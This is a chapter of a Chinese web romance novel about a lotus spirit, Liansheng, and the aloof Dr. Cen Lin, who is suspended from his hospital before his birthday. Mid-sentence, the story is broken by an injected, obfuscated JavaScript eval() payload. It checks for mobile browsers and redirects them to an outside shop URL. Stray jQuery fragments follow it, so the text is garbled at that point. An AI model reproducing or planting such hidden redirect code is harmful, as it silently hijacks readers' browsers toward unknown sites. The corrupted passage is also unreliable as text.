9. chapter9

作品:《小莲蓬攻略冷医生后怀崽了

    给莲生包扎时,岑凛全程盯着伤口,不看他的脸,他只淡淡抬眸。


    皮肤破损不影响样本价值,小题大做。


    随后默默采集了莲生的血液样本,发送给实验室。


    “什么乱七八糟的。”岑凛微愣,旋即迅速反应过来,轻轻皱眉道:“一会回去给我写检讨。”


    “伤得不重,上药休息几天,回去别碰水,养养就好了。”岑凛又道,“这次是我牵累你,想要什么补偿?说吧。”


    此言一出,莲生立刻动了动耳尖,可碰上岑凛眼神时,却又缓缓下垂。


    “怎么?”岑凛问道。


    “我说出来的话,你肯定又要说我胡言乱语了……”莲生小声道。


    闻言,岑凛微微翕动了一下睫翼,那双漆黑不见底的瞳眸仿佛被阴云覆盖似的,眨动瞬间,才偶尔能有一丝光亮泄露出来。


    “别多想,养伤。”


    莲生没多说什么,下一秒,微凉的棉签蘸着难闻的药水便往他额头上凑过来,他下意识躲避,却被岑凛一把制住,“别动,快好了。”


    岑医生的动作很轻,先是耐心给他清理血迹,棉签清理血迹,碰到伤口时,莲生疼得瑟缩了一下,下意识往岑凛手边蹭了蹭,指尖不小心碰到他的掌心。


    他感觉到岑凛的手顿了顿,却没有像往常一样躲开,反而放轻了棉签的力道,低声说:“忍忍,不然留疤,以后没法跟你的族人交代。”


    然后又轻轻给他上药,莲生每次被药水冰得颤颤抬眸,都能看见岑凛放大的脸。


    那是一张他在凡尘从没见过的一张脸,很干净,但却面带风霜、略微有些憔悴。


    仿佛在他来之前,他就已经这样工作很久了,那双漆黑如墨的眼睛里看不见一点光亮,似乎只有剖开这覆着霜雪的表象,才能看见仅剩的一簇微光。


    而此刻,那双令人捉摸不透的眼睛正认真地看着自己、近乎温柔地给他上药包扎。


    行动间,莲生又闻见了他身上那若隐若现的雪松味。


    最后一圈绷带包扎好后,岑凛又拿来一包口服药,倒了杯温水后递给他:“吃了,内服的。”


    “哦,好吧。”莲生顺从接过来,用水把药片送服,没一会就昏昏欲睡。


    “困了就睡吧。”一旁椅子上的岑凛注意到后轻声说。


    可莲生却摇了摇头,“要你亲亲才能睡着,至少要给小莲子一点灵气滋养。”


    椅子上的岑凛身形一僵,随后道:“随你,不睡就看会书,待会交篇读后感。”


    孰料莲生一听这话,连忙弹射起来,头摇得像个拨浪鼓,“我不要,我睡!我现在就睡!”


    他闭上眼睛,躺在办公室的大沙发上睡起来,不一会就陷入梦境。


    梦中,他眼前都是一片灰蒙蒙的薄雾,他费力想看清,却又都是徒劳之功。


    一个人慢慢走过来,他慢慢站起身来,额头上传来柔软的触感,初时微凉,而后便愈发滚烫,细细闻时,还能闻见一丝细微的雪松味。


    干净。


    清冽。


    像是山间最干净的风、最清澈的泉水,纵使他跋涉千山万水,所见的、所闻的都不如他半分纯粹。


    那个触感很柔软、很舒服。


    躺在沙发上的莲生闭着眼睛轻笑着,头顶上猝然冒出一支青翠的小莲蓬来,小莲蓬在他脑袋上摇摇晃晃的,好像很高兴很兴奋。


    等莲生悠悠转醒时,却见远处椅子上的岑凛正挽着自己的袖子上药,显然是方才他和哪个人对峙时留下的伤。


    他的困意瞬间消散了不少,连忙起身走过去,“岑医生,你受伤了……”


    岑凛闻声迅速拉下袖子,“死不了,睡你的。”


    “啪嗒”一声响传来,岑凛眼疾手快扶起桌子上摆着的相框。


    莲生这才注意到那个被各种书挡着的地方原来还有一个相框,那照片上赫然是个扎着麻花辫、穿着红色连衣裙的,约莫还在上初中的小女孩。


    她是谁?


    莲生疑惑着望过去,却见岑凛默默把相框收起来放到抽屉里,随后打开一份文件,似乎并不想与他谈论这事。


    “岑医生……”


    岑凛忽然站起来,并没理会莲生的话,径直推开门离开,“我还有个会。”


    男人离开后,莲生才把视线挪到那抽屉上,犹豫片刻,终于还是没有打开。


    那个人到底是谁呢?


    这个疑问一直等到岑凛开完会回来都没解开。


    办公室的门被忽然推开,岑凛揉了揉眉心走进来,看见他还在等待时,漆黑的眸子里似乎跳动着什么,随后瞬间隐匿起来,略带疲惫道:“走吧,回家。”


    “回家?”莲生不免心里有些疑惑。


    可是现在还不到岑医生下班的时间,为什么会现在回家呢?


    “岑医生,可是现在还不到……”


    他话还没说完,便听外面传来一阵急促的敲门声,温玉山大口喘着气走进来,“岑老师,为什么他们说你被停职了?怎么回事?这么突然!”


    停职?


    莲生一怔。


    停职不是不让那个人继续工作的意思吗?岑医生那么厉害,医院怎么会让他停职呢?


    到底怎么回事?


    “就因为你出手教训了那个闹事者?可是这明明错在他——”温玉山气愤得满脸通红。


    “玉山。”岑凛忽然开口道,“打了就是打了,医院要停职也无可厚非,这些日子你去跟着刘医生吧,他资历老,就诊经验丰富,你跟着他不吃亏。”


    “岑老师!”


    岑凛没再多说,只默默收拾自己的东西,将办公物品收进箱子里时,指尖落在被书本遮挡的相框上,指腹反复摩挲着边缘磨损的木质纹路,相框里扎麻花辫的女孩笑得眉眼弯弯。


    他喉结滚动,却一句话也没说。


    小玉,我又没护住人。


    “岑医生……”莲生见他神色有异,担忧地小声开口道。


    岑凛没答话,抱着箱子推开门离开了这间办公室,“莲生,走了。”


    后面的莲生刚刚反应过来,默默跟着他离开了。


    一路上,在车里,岑凛都没开口说一句话,莲生也没敢问。


    回到家后,岑凛没多说一句话,径直走进厨房。


    莲生坐在沙发上忐忑不安时,他端来一碗温热的莲子粥,粥里的莲子被剥得干干净净,泛着淡淡的灵气,“喝了,补气血。”


    他把碗递过去,语气依旧冷硬,却在莲生接过之后,又抬手将他额头的绷带换成了更柔软的医用棉款,指尖不经意擦过伤口边缘,力道轻得几乎察觉不到。


    之后,二人连吃晚饭都相顾无言,莲生想问停职的事,却又让他生气,终究没问出口。


    饭后,二人在沙发上看书,在暖和的室内,莲生又撑不住昏昏欲睡。


    一旁的岑凛翻书翻到一页,仿佛有几个字眼刺痛到了眼睛,他微微低头,轻轻阖上眼睛,眼前却猝然出现一个红色连衣裙的女孩子。


    她扎着麻花辫,却有些乱糟糟的,脸色很不好,尽是病态,坐在沙发上,直直地看着岑凛:“你为什么不救我?”


    她在哭:“你为什么不救我?”


    那眼神哀怨,带着几分愠怒。


    岑凛猛然把自己从幻象中拔.出来,猛然喘了两口新鲜的空气,靠在沙发的靠背上缓了很久,才渐渐平复下来。


    一转眼便见那少年还在一旁的沙发上坐着,只不过已经靠在沙发上睡着了。


    岑凛微不可查地神色一松。


    随后起身将他轻轻抱起来,走到卧室里。


    将莲生放下,又给他盖好被子,便要转身离开,可衣角却被人从后面拽住。


    岑凛愕然回头,指尖莲生迷糊中抓着他的衣角不撒手,嘴里嘟囔着:“不……走……要岑医生……”


    他眸中的微光晃了晃,还是拽开莲生的手,搬来凳子,支着手肘睡着了。


    梦中的莲生似乎是察觉到岑凛的留下,不安分的手慢慢缩回去,呼吸逐渐均匀起来。


    黑暗中,岑凛并没合眼,只是静静看着莲生的脸出神,许久,才阖上眼睛入睡。


    第二天莲生醒来时格外开心。


    岑医生昨晚没走,他一定是开始动摇了!


    对,小智就是这么说的,绝对没错!


    可高兴之后,他又想起了岑凛停职的事,善解人意的莲小生同学走到岑凛面前。


    岑凛放下书来,“怎么?”


    “那个……我听说停职是没有钱的,要不你还是把给我报的那些班退掉吧,我在家里也可以好好学的!”莲生道。


    闻言,一贯冰冷的岑医生忽然愣住,盯着他看了一会,才道:“傻是傻了点,倒也有良心,但不用,还没到那一步。”


    听后,莲生也只能低下头,“那明天就是你生日了,我看过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193894|197119||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你的资料,不会记错的,我给你过生日吧!这样你也能开心一点!”


    “……过生日?”岑凛神色开始复杂起来,他盯着莲生喋喋不休的样子看了很久,最终没说答应,也没说不答应。


    之后一整天里,岑凛都没怎么理会旁的东西,倒是莲生,把自己关在房间里捣鼓了很久,还不让人看,问就是在给岑医生准备生日礼物,弄得神秘兮兮的。


    岑凛没多理会他,自从停职后,不再需要应付医院的接诊工作,有了大量空闲时间,他把书房堆满古籍和生物病毒文献,甚至联系了民俗研究所的朋友,调取关于所谓古昆仑山仙莲族的记载,试图将莲生身上的谜团解开。


    但却一直没有进展。


    到生日当天,莲生按照教程给岑凛烤出了一个还算精致的小蛋糕。


    “接下来是许愿和吹蜡烛。”莲生看了看手机,用打火机把蜡烛点燃,然后眼里冒星星地看向岑凛,“许愿吧!”


    岑凛:“?”


    少年把手机递过来,里面正好是一个过生日许愿的插画,“怎么你也不会啊?”


    岑凛没多说什么,按照图片按部就班地“许愿”,才吹灭蜡烛吃了起来。


    “好吃吗?”莲生问。


    “……嗯。”岑凛点点头,“还可以。”


    “那我也许一个愿吧!”莲生突发奇想道,“我希望岑医生快点好起来,希望我的小莲子宝宝能活下来,希望族群的浊气能消失。”


    之后,他抬头看向岑凛,却见男人沉默片刻,伸手从桌上拿起一颗鸡蛋,剥去外壳后递给他,声音里的冷硬褪.去了不少:“会好的。”


    “嗯!”莲生嘿嘿一笑。


    旋即,莲生又端出一盘新鲜莲子递过去,“岑医生你尝尝,我挑了很久才挑到的呢,很新鲜的!”


    “之前还妄想说自己是莲蓬精,怎么现在不怕我吃你的同类?”岑凛道。


    “没事的,这些没有开灵智,是普通食品类的,可以吃的。”莲生看了看莲子,小心翼翼地问,“你是不喜欢吃莲子吗?”


    岑凛接过莲子,“没有。”


    望着岑凛咀嚼着莲子的动作,莲生向他那边凑了凑,“我用灵气养的花和莲子都给你,你会不会更喜欢我一点呀?”


    岑凛侧目,微微皱眉。


    完了,网上的人不是说过,只要这么说,男人准会开心吗?


    怎么会这样呢?


    “那吹蜡烛吧!”莲生心惊肉跳地转移话题道。


    烛光微晃,顷刻间被一阵风吹灭,灯光下,莲生对着岑凛轻声道:“岑医生,我希望你一直都开心,一直都会笑。”


    听后,岑凛抬眸望过去,一眼又看见他头顶上晃悠的小莲蓬。


    他闭了闭眼睛,转移了视线。


    不一会,莲生又捧着一盆花跑过来。


    瓷盆里的莲子刚冒出头,嫩绿的芽叶顶着淡粉色的小花苞,明明是深秋,却开得生机勃勃,脖子上还挂着一个小牌子,歪歪扭扭地写着:岑医生要每天开心呀!


    他捧着花盆跑到岑凛面前,眼睛亮晶晶的:“我用灵气养的!族长爷爷说,莲子花能带来好运,岑医生看到它就会开心啦!”


    岑凛盯着花盆看了几秒,看到那几个字时,神色顿了顿,嘴角没动,却伸手接过放在窗边阳光最充足的地方,还顺手给花盆浇了水,莲生去上厕所时,岑凛缓缓抬手,将它摘了下来。


    他垂眸扫了一眼沙发上的书,随手拿起来,将那个小牌子轻轻夹了进去。


    不一会,莲生从卫生间跑出来。


    “岑医生你等一下,我还有一个礼物要给你!”莲生笑着道。


    下一刻,便见莲生已经离开座位跑到电视机下面捣鼓着什么。


    电视里很快传来悦耳的动画片音乐声,然后就出现了荷塘,小红鱼在水里游来游去。


    岑凛愕然抬眸,又问刚刚坐回来的莲生,“喜欢看动画片?”


    一旁的莲生看得开心,像是从没看过,忙不迭地点头,见状,岑凛沉思片刻,拿出手机订购了一堆动画片视频会员,随后把账号发给他,“会员能多看点,就不用再买——”


    他的话戛然而止,因为客厅中间突然出现一盆巨大的莲蓬,碧绿色的莲蓬脑袋还一点一点的,叶子冲着他的方向飘了飘,轻轻摇晃着,像是在说:来呀!跟我玩儿啊!


    ……像是电视剧里揽客的伙计。


    岑凛:“……”